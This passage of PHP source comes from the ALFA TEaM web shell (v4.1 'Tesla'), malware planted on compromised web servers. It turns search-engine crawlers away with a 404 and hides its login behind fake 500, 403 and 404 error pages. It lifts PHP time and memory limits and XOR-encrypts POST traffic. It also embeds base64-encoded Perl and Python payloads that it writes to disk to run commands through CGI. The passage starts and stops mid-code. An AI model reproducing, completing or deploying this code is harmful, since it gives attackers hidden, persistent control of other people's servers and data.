\"us\")\r\n\t{\r\n\t\t$GLOBALS['DB_NAME'][\"user\"] = $value;\r\n\t\t$GLOBALS['DB_NAME'][\"user_rand\"] = $key;\r\n\t}\r\n\telseif ($prefix == \"pa\")\r\n\t{\r\n\t\t$GLOBALS['DB_NAME'][\"pass\"] = $value;\r\n\t\t$GLOBALS['DB_NAME'][\"pass_rand\"] = $key;\r\n\t}\r\n\telseif ($prefix == \"sa\")\r\n\t{\r\n\t\t$GLOBALS['DB_NAME'][\"safemode\"] = $value;\r\n\t\t$GLOBALS['DB_NAME'][\"safemode_rand\"] = $key;\r\n\t}\r\n\telseif ($prefix == \"lo\")\r\n\t{\r\n\t\t$GLOBALS['DB_NAME'][\"login_page\"] = $value;\r\n\t\t$GLOBALS['DB_NAME'][\"login_page_rand\"] = $key;\r\n\t}\r\n\telseif ($prefix == \"sh\")\r\n\t{\r\n\t\t$GLOBALS['DB_NAME'][\"show_icons\"] = $value;\r\n\t\t$GLOBALS['DB_NAME'][\"show_icons_rand\"] = $key;\r\n\t}\r\n\telseif ($prefix == \"po\")\r\n\t{\r\n\t\t$GLOBALS['DB_NAME'][\"post_encryption\"] = $value;\r\n\t\t$GLOBALS['DB_NAME'][\"post_encryption_rand\"] = $key;\r\n\t}\r\n\telseif ($prefix == \"cg\")\r\n\t{\r\n\t\t$GLOBALS['DB_NAME'][\"cgi_api\"] = $value;\r\n\t\t$GLOBALS['DB_NAME'][\"cgi_api_rand\"] = $key;\r\n\t}\r\n}\r\n\r\nunset($GLOBALS['oZgNypoPRU']);\r\n\r\nif (!isset($_SERVER[\"HTTP_HOST\"])) exit();\r\n\r\nif(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents = array(\"Google\",\"Slurp\",\"MSNBot\",\"ia_archiver\",\"Yandex\",\"Rambler\",\"bot\",\"spider\");if(preg_match('\/'.implode('|',$userAgents).'\/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP\/1.0 404 Not Found');exit;}}\r\nif(!isset($GLOBALS['DB_NAME']['user']))exit('$GLOBALS[\\'DB_NAME\\'][\\'user\\']');\r\nif(!isset($GLOBALS['DB_NAME']['pass']))exit('$GLOBALS[\\'DB_NAME\\'][\\'pass\\']');\r\nif(!isset($GLOBALS['DB_NAME']['safemode']))exit('$GLOBALS[\\'DB_NAME\\'][\\'safemode\\']');\r\nif(!isset($GLOBALS['DB_NAME']['login_page']))exit('$GLOBALS[\\'DB_NAME\\'][\\'login_page\\']');\r\nif(!isset($GLOBALS['DB_NAME']['show_icons']))exit('$GLOBALS[\\'DB_NAME\\'][\\'show_icons\\']');\r\nif(!isset($GLOBALS['DB_NAME']['post_encryption']))exit('$GLOBALS[\\'DB_NAME\\'][\\'post_encryption\\']');\r\ndefine(\"__ALFA_VERSION__\", \"4.1\");\r\ndefine(\"__ALFA_UPDATE__\", \"2\");\r\ndefine(\"__ALFA_CODE_NAME__\", \"Tesla\");\r\ndefine(\"__ALFA_DATA_FOLDER__\", \"ALFA_DATA\");\r\ndefine(\"__ALFA_POST_ENCRYPTION__\", (isset($GLOBALS[\"DB_NAME\"][\"post_encryption\"])&&$GLOBALS[\"DB_NAME\"][\"post_encryption\"]==true?true:false));\r\ndefine(\"__ALFA_SECRET_KEY__\", __ALFA_POST_ENCRYPTION__?_AlfaSecretKey():'');\r\n$GLOBALS['__ALFA_COLOR__'] = array(\r\n\t\t\"shell_border\" => array(\r\n\t\t\t\"key_color\" => \"#0E304A\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".header\" => \"border: 7px solid {color}\",\r\n\t\t\t\t\"#meunlist\" => \"border-color: {color}\",\r\n\t\t\t\t\"#hidden_sh\" => \"background-color: {color}\",\r\n\t\t\t\t\".ajaxarea\" => \"border: 1px solid {color}\",\r\n\t\t\t\t\".foot\" => \"border-color: {color}\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"header_vars\" => \"#27979B\",\r\n\t\t\"header_values\" => \"#67ABDF\",\r\n\t\t\"header_on\" => \"#00FF00\",\r\n\t\t\"header_off\" => \"#ff0000\",\r\n\t\t\"header_none\" => \"#00FF00\",\r\n\t\t\"home_shell\" => \"#ff0000\",\r\n\t\t\"home_shell:hover\" => array(\r\n\t\t\t\"key_color\" => \"#FFFFFF\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".home_shell:hover\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"back_shell\" => \"#efbe73\",\r\n\t\t\"back_shell:hover\" => array(\r\n\t\t\t\"key_color\" => \"#FFFFFF\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".back_shell:hover\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"header_pwd\" => \"#00FF00\",\r\n\t\t\"header_pwd:hover\" => array(\r\n\t\t\t\"key_color\" => \"#FFFFFF\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".header_pwd:hover\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"header_drive\" => \"#00FF00\",\r\n\t\t\"header_drive:hover\" => array(\r\n\t\t\t\"key_color\" => \"#FFFFFF\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".header_drive:hover\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"header_show_all\" => \"#00FF00\",\r\n\t\t\"disable_functions\" => \"#ff0000\",\r\n\t\t\"footer_text\" => \"#27979B\",\r\n\t\t\"menu_options\" => \"#27979B\",\r\n\t\t\"menu_options:hover\" => array(\r\n\t\t\t\"key_color\" => \"#646464\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".menu_options:hover\" => \"background-color: {color};font-weight: unset;\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"options_list\" => array(\r\n\t\t\t\"key_color\" => \"#00FF00\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".content_options_holder .header center a\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"options_list:hover\" => array(\r\n\t\t\t\"key_color\" => \"#FFFFFF\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".content_options_holder .header center a:hover\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"options_list_header\" => array(\r\n\t\t\t\"key_color\" => \"#59cc33\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".txtfont_header\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"options_list_text\" => array(\r\n\t\t\t\"key_color\" => \"#FFFFFF\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".txtfont,.tbltxt\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"Alfa+\" => array(\r\n\t\t\t\"key_color\" => \"#06ff0f\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".alfa_plus\" => \"color: {color};font-weight: unset;\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"hidden_shell_text\" => array(\r\n\t\t\t\"key_color\" => \"#00FF00\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\"#hidden_sh a\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"hidden_shell_version\" => \"#ff0000\",\r\n\t\t\"shell_name\" => \"#FF0000\",\r\n\t\t\"main_row:hover\" => array(\r\n\t\t\t\"key_color\" => \"#646464\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".main tr:hover\" => \"background-color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"main_header\" => array(\r\n\t\t\t\"key_color\" => \"#FFFFFF\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".main th\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"main_name\" => array(\r\n\t\t\t\"key_color\" => \"#FFFFFF\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".main .main_name\" => \"color: {color};font-weight: unset;\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"main_size\" => \"#67ABDF\",\r\n\t\t\"main_modify\" => \"#67ABDF\",\r\n\t\t\"main_owner_group\" => \"#67ABDF\",\r\n\t\t\"main_green_perm\" => \"#25ff00\",\r\n\t\t\"main_red_perm\" => \"#FF0000\",\r\n\t\t\"main_white_perm\" => \"#FFFFFF\",\r\n\t\t\"beetween_perms\" => \"#FFFFFF\",\r\n\t\t\"main_actions\" => array(\r\n\t\t\t\"key_color\" => \"#FFFFFF\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".main .actions\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"menu_options:hover\" => array(\r\n\t\t\t\"key_color\" => \"#646464\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".menu_options:hover\" => \"background-color: {color};font-weight: unset;\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"minimize_editor_background\" => array(\r\n\t\t\t\"key_color\" => \"#0e304a\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".minimized-wrapper\" => \"background-color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"minimize_editor_text\" => array(\r\n\t\t\t\"key_color\" => \"#f5deb3\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".minimized-text\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"editor_border\" => array(\r\n\t\t\t\"key_color\" => \"#0e304a\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".editor-explorer,.editor-modal\" => \"border: 2px solid {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"editor_background\" => array(\r\n\t\t\t\"key_color\" => \"rgba(0, 1, 23, 0.94)\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".editor-explorer,.editor-modal\" => \"background-color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"editor_header_background\" => array(\r\n\t\t\t\"key_color\" => \"rgba(21, 66, 88, 0.93)\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".editor-header\" => \"background-color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"editor_header_text\" => array(\r\n\t\t\t\"key_color\" => \"#00ff7f\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".editor-path\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"editor_header_button\" => array(\r\n\t\t\t\"key_color\" => \"#1d5673\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".close-button, .editor-minimize\" => \"background-color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"editor_actions\" => array(\r\n\t\t\t\"key_color\" => \"#FFFFFF\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".editor_actions\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"editor_file_info_vars\" => array(\r\n\t\t\t\"key_color\" => \"#FFFFFF\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".editor_file_info_vars\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"editor_file_info_values\" => array(\r\n\t\t\t\"key_color\" => \"#67ABDF\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".filestools\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"editor_history_header\" => array(\r\n\t\t\t\"key_color\" => \"#14ff07\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".hheader-text,.history-clear\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"editor_history_list\" => array(\r\n\t\t\t\"key_color\" => \"#03b3a3\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".editor-file-name\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"editor_history_selected_file\" => array(\r\n\t\t\t\"key_color\" => \"rgba(49, 55, 93, 0.77)\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".is_active\" => \"background-color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"editor_history_file:hover\" => array(\r\n\t\t\t\"key_color\" => \"#646464\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".file-holder > .history:hover\" => \"background-color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"input_box_border\" => array(\r\n\t\t\t\"key_color\" => \"#0E304A\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\"input[type=text],textarea\" => \"border: 1px solid {color}\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"input_box_text\" => array(\r\n\t\t\t\"key_color\" => \"#999999\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\"input[type=text],textarea\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"input_box:hover\" => array(\r\n\t\t\t\"key_color\" => \"#27979B\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\"input[type=text]:hover,textarea:hover\" => \"box-shadow:0 0 4px {color};border:1px solid {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"select_box_border\" => array(\r\n\t\t\t\"key_color\" => \"#0E304A\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\"select\" => \"border: 1px solid {color}\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"select_box_text\" => array(\r\n\t\t\t\"key_color\" => \"#FFFFEE\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\"select\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"select_box:hover\" => array(\r\n\t\t\t\"key_color\" => \"#27979B\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\"select:hover\" => \"box-shadow:0 0 4px {color};border:1px solid {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"button_border\" => array(\r\n\t\t\t\"key_color\" => \"#27979B\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\"input[type=submit],.button,#addup\" => \"border: 1px solid {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"button:hover\" => array(\r\n\t\t\t\"key_color\" => \"#27979B\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\"input[type=submit]:hover\" => \"box-shadow:0 0 4px {color};border:2px solid {color};\",\r\n\t\t\t\t\".button:hover,#addup:hover\" => \"box-shadow:0 0 4px {color};border:1px solid {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"outputs_text\" => array(\r\n\t\t\t\"key_color\" => \"#67ABDF\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".ml1\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"outputs_border\" => array(\r\n\t\t\t\"key_color\" => \"#0E304A\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".ml1\" => \"border: 1px solid {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"uploader_border\" => array(\r\n\t\t\t\"key_color\" => \"#0E304A\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".inputfile\" => \"box-shadow:0 0 4px {color};border:1px solid {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"uploader_background\" => array(\r\n\t\t\t\"key_color\" => \"#0E304A\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".inputfile strong\" => \"background-color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"uploader_text_right\" => array(\r\n\t\t\t\"key_color\" => \"#FFFFFF\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".inputfile strong\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"uploader_text_left\" => array(\r\n\t\t\t\"key_color\" => \"#25ff00\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".inputfile span\" => \"color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"uploader:hover\" => array(\r\n\t\t\t\"key_color\" => \"#27979B\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".inputfile:hover\" => \"box-shadow:0 0 4px {color};border:1px solid {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"uploader_progress_bar\" => array(\r\n\t\t\t\"key_color\" => \"#00ff00\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\".up_bar\" => \"background-color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"mysql_tables\" => \"#00FF00\",\r\n\t\t\"mysql_table_count\" => \"#67ABDF\",\r\n\t\t\"copyright\" => \"#dfff00\",\r\n\t\t\"scrollbar\" => array(\r\n\t\t\t\"key_color\" => \"#1e82b5\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\"*::-webkit-scrollbar-thumb\" => \"background-color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n\t\t\"scrollbar_background\" => array(\r\n\t\t\t\"key_color\" => \"#000115\",\r\n\t\t\t\"multi_selector\" => array(\r\n\t\t\t\t\"*::-webkit-scrollbar-track\" => \"background-color: {color};\",\r\n\t\t\t)\r\n\t\t),\r\n);\r\n$GLOBALS['__file_path'] = str_replace('\\\\','\/',trim(preg_replace('!\\(\\d+\\)\\s.*!', '', __FILE__)));\r\n$config = array('AlfaUser' => $GLOBALS['DB_NAME']['user'],'AlfaPass' => $GLOBALS['DB_NAME']['pass'],'AlfaProtectShell' => $GLOBALS['DB_NAME']['safemode'],'AlfaLoginPage' => $GLOBALS['DB_NAME']['login_page']);\r\n\/\/@session_start();\r\n@session_write_close();\r\n@ignore_user_abort(true);\r\n@set_time_limit(0);\r\n@ini_set('memory_limit', '-1');\r\n@ini_set(\"upload_max_filesize\", \"9999m\");\r\nif($config['AlfaProtectShell']){\r\n$SERVER_SIG = (isset($_SERVER[\"SERVER_SIGNATURE\"])?$_SERVER[\"SERVER_SIGNATURE\"]:\"\");\r\n$Eform='<form method=\"post\"><input style=\"margin:0;background-color:#fff;border:1px solid #fff;\" type=\"password\" name=\"password\"><\/form>';\r\nif($config['AlfaLoginPage'] == 'gui'){\r\nif(@$_COOKIE[\"AlfaUser\"] != $config['AlfaUser'] && $_COOKIE[\"AlfaPass\"] != md5($config['AlfaPass'])){\r\nif(@$_POST[\"usrname\"]==$config['AlfaUser'] && @md5($_POST[\"password\"])==$config['AlfaPass']){\r\n__alfa_set_cookie(\"AlfaUser\", $config['AlfaUser']);\r\n__alfa_set_cookie(\"AlfaPass\", @md5($config['AlfaPass']));\r\n@header('location: '.$_SERVER[\"PHP_SELF\"]);\r\n}\r\necho '\r\n<style>\r\nbody{background: black;}\r\n#loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }\r\n#loginbox td { border-radius:5px; font-size:11px; }\r\n<\/style>\r\n<title>~ ALFA TEaM Shell-v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ~<\/title><center>\r\n<center><img style=\"border-radius:100px;\" width=\"500\" height=\"250\" alt=\"alfa team 2012\" draggable=\"false\" src=\"http:\/\/solevisible.com\/images\/alfa-iran.png\" \/><\/center>\r\n<div id=loginbox><p><font face=\"verdana,arial\" size=-1>\r\n<center><table cellpadding=\\'2\\' cellspacing=\\'0\\' border=\\'0\\' id=\\'ap_table\\'>\r\n<tr><td bgcolor=\"green\"><table cellpadding=\\'0\\' cellspacing=\\'0\\' border=\\'0\\' width=\\'100%\\'><tr><td bgcolor=\"green\" align=center style=\"padding:2;padding-bottom:4\"><b><font color=\"white\" size=-1 color=\"white\" face=\"verdana,arial\"><b>~ ALFA TEaM Shell-v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ~<\/b><\/font><\/th><\/tr>\r\n<tr><td bgcolor=\"black\" style=\"padding:5\">\r\n<form method=\"post\">\r\n<input type=\"hidden\" name=\"action\" value=\"login\">\r\n<input type=\"hidden\" name=\"hide\" value=\"\">\r\n<center><table>\r\n<tr><td><font color=\"green\" face=\"verdana,arial\" size=-1>Login:<\/font><\/td><td><input type=\"text\" size=\"30\" name=\"usrname\" placeholder=\"username\" onfocus=\"if (this.value == \\'username\\'){this.value = \\'\\';}\"><\/td><\/tr>\r\n<tr><td><font color=\"green\" face=\"verdana,arial\" size=-1>Password:<\/font><\/td><td><input type=\"password\" size=\"30\" name=\"password\" placeholder=\"password\" onfocus=\"if (this.value == \\'password\\') this.value = \\'\\';\"><\/td><\/tr>\r\n<tr><td><font face=\"verdana,arial\" size=-1> <\/font><\/td><td><font face=\"verdana,arial\" size=-1><input type=\"submit\" value=\"Login\"><\/font><\/td><\/tr><\/table>\r\n<\/div><br \/><\/center>';\r\nexit;\r\n}\r\n}elseif($config['AlfaLoginPage']=='500'){\r\nif(@$_COOKIE[\"AlfaPass\"] != @md5($config['AlfaPass'])){\r\nif(@md5($_POST[\"password\"])==$config['AlfaPass']){\r\n__alfa_set_cookie(\"AlfaUser\", $config['AlfaUser']);\r\n__alfa_set_cookie(\"AlfaPass\", @md5($config['AlfaPass']));\r\n@header('location: '.$_SERVER[\"PHP_SELF\"]);\r\n}\r\necho '<html><head><title>500 Internal Server Error<\/title><\/head><body><h1>Internal Server Error<\/h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.<\/p><p>Please contact the server administrator, '.$_SERVER['SERVER_ADMIN'].' and inform them of the time the error occurred, and anything you might have done that may have caused the error.<\/p><p>More information about this error may be available in the server error log.<\/p><hr>'.$SERVER_SIG.'<\/body><\/html>'.$Eform;\r\nexit;\r\n}\r\n}elseif($config['AlfaLoginPage']=='403'){\r\nif(@$_COOKIE[\"AlfaPass\"] != @md5($config['AlfaPass'])){\r\nif(@md5($_POST[\"password\"])==$config['AlfaPass']){\r\n__alfa_set_cookie(\"AlfaUser\", $config['AlfaUser']);\r\n__alfa_set_cookie(\"AlfaPass\", @md5($config['AlfaPass']));\r\n@header('location: '.$_SERVER[\"PHP_SELF\"]);\r\n}\r\necho \"<html><head><title>403 Forbidden<\/title><\/head><body><h1>Forbidden<\/h1><p>You don't have permission to access \".$_SERVER['PHP_SELF'].\" on this server.<\/p><hr>\".$SERVER_SIG.\"<\/body><\/html>\".$Eform;\r\nexit;\r\n}\r\n}elseif($config['AlfaLoginPage']=='404'){\r\nif(@$_COOKIE[\"AlfaPass\"] != @md5($config['AlfaPass'])){\r\nif(@md5($_POST[\"password\"])==$config['AlfaPass']){\r\n__alfa_set_cookie(\"AlfaUser\", $config['AlfaUser']);\r\n__alfa_set_cookie(\"AlfaPass\", @md5($config['AlfaPass']));\r\n@header('location: '.$_SERVER[\"PHP_SELF\"]);\r\n}\r\necho \"<title>404 Not Found<\/title><h1>Not Found<\/h1><p>The requested URL \".$_SERVER['PHP_SELF'].\" was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.<\/p><hr>\".$SERVER_SIG.\"<\/body><\/html>\".$Eform;\r\nexit;\r\n}\r\n}\r\n}\r\nfunction decrypt_post($str){\r\n\tif(__ALFA_POST_ENCRYPTION__){\r\n\t\t$pwd = __ALFA_SECRET_KEY__;\r\n\t\t$pwd = __ZW5jb2Rlcg($pwd);\r\n\t\t$str = __ZGVjb2Rlcg($str);\r\n\t\t$enc_chr = \"\";\r\n\t\t$enc_str = \"\";\r\n\t\t$i = 0;\r\n\t\twhile ($i < strlen($str)) {\r\n\t\t\tfor ($j = 0; $j < strlen($pwd); $j++) {\r\n\t\t\t\t$enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));\r\n\t\t\t\t$enc_str .= $enc_chr;\r\n\t\t\t\t$i++;\r\n\t\t\t\tif ($i >= strlen($str))\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn __ZGVjb2Rlcg($enc_str);\r\n\t}else{\r\n\t\treturn __ZGVjb2Rlcg($str);\r\n\t}\r\n}\r\n\r\nfunction _AlfaSecretKey(){\r\n\t$secret = @$_COOKIE[\"AlfaSecretKey\"];\r\n\tif(!isset($_COOKIE[\"AlfaSecretKey\"])){\r\n\t\t$secret = uniqid(mt_rand(), true);\r\n\t\t__alfa_set_cookie(\"AlfaSecretKey\", $secret);\r\n\t}\r\n\treturn $secret;\r\n}\r\nfunction alfa_getColor($target){\r\n\tif(isset($GLOBALS[\"DB_NAME\"][\"color\"][$target])&&$GLOBALS[\"DB_NAME\"][\"color\"][$target]!=\"\"){\r\n\t\treturn $GLOBALS[\"DB_NAME\"][\"color\"][$target];\r\n\t}else{\r\n\t\t$target = $GLOBALS[\"__ALFA_COLOR__\"][$target];\r\n\t\tif(is_array($target)){\r\n\t\t\treturn $target[\"key_color\"];\r\n\t\t}else{\r\n\t\t\treturn $target;\r\n\t\t}\r\n\t}\r\n}\r\nfunction alfaCssLoadColors(){\r\n\t$css = \"\";\r\n\tforeach($GLOBALS['__ALFA_COLOR__'] as $key => $value){\r\n\t\tif(!is_array($value)){\r\n\t\t\t$value = alfa_getColor($key);\r\n\t\t\t$css .= \".{$key}{color: {$value};}\";\r\n\t\t}else{\r\n\t\t\tif(isset($value[\"multi_selector\"])){\r\n\t\t\t\tforeach($value[\"multi_selector\"] as $k => $v){\r\n\t\t\t\t\t$color = alfa_getColor($key);\r\n\t\t\t\t\t$code = str_replace(\"{color}\", $color, $v);\r\n\t\t\t\t\t$css .= $k.\"{\".$code.\"}\";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn $css;\r\n}\r\nif(isset($_POST['ajax'])){\r\nfunction AlfaNum(){\r\n$args = func_get_args();\r\n$alfax = array();\r\n$find = array();\r\nfor($i=1;$i<=10;$i++){\r\n$alfax[] = $i;\r\n}\r\nforeach($args as $arg){\r\n$find[] = $arg;\r\n}\r\necho '<script>';\r\nforeach($alfax as $alfa){\r\nif(in_array($alfa,$find))\r\ncontinue;\r\necho 'alfa'.$alfa.\"_=\";\r\n}\r\necho '\"\"<\/script>';\r\n}}\r\nfunction _alfa_cgicmd($cmd,$lang=\"perl\",$set_cookie=false){\r\n\tif(!$GLOBALS[\"DB_NAME\"][\"cgi_api\"]){\r\n\t\treturn \"\";\r\n\t}\r\n\tif(isset($_COOKIE[\"alfacgiapi_mode\"])){\r\n\t\treturn \"\";\r\n\t}\r\n\t$cmd_pure = $cmd;\r\n\t$is_curl = function_exists('curl_version');\r\n\t$is_socket = function_exists('fsockopen');\r\n\tif($is_curl||$is_socket){\r\n\t\t$recreate = false;\r\n\t\tif(isset($_COOKIE[\"alfacgiapi\"])){\r\n\t\t\tif(!@file_exists(\"alfacgiapi\/\".$_COOKIE[\"alfacgiapi\"].\".alfa\")){\r\n\t\t\t\t$recreate = true;\r\n\t\t\t\t$lang = $_COOKIE[\"alfacgiapi\"];\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(!isset($_COOKIE[\"alfacgiapi\"])||$recreate){\r\n\t\t\t@chdir(dirname($_SERVER[\"SCRIPT_FILENAME\"]));\r\n\t\t\t$perl = 'jZFRT8IwFIXf\/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky\/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF\/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL\/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=';\r\n\t\t\t$py = \"bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1\/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7\/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84\/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf\/WtDzLftGUSe3CBw4suE4G\/ryOWqh4eo4E8cT0a3uSOrTC\/KjxND+O\/QI=\";\r\n\t\t\t$bash = 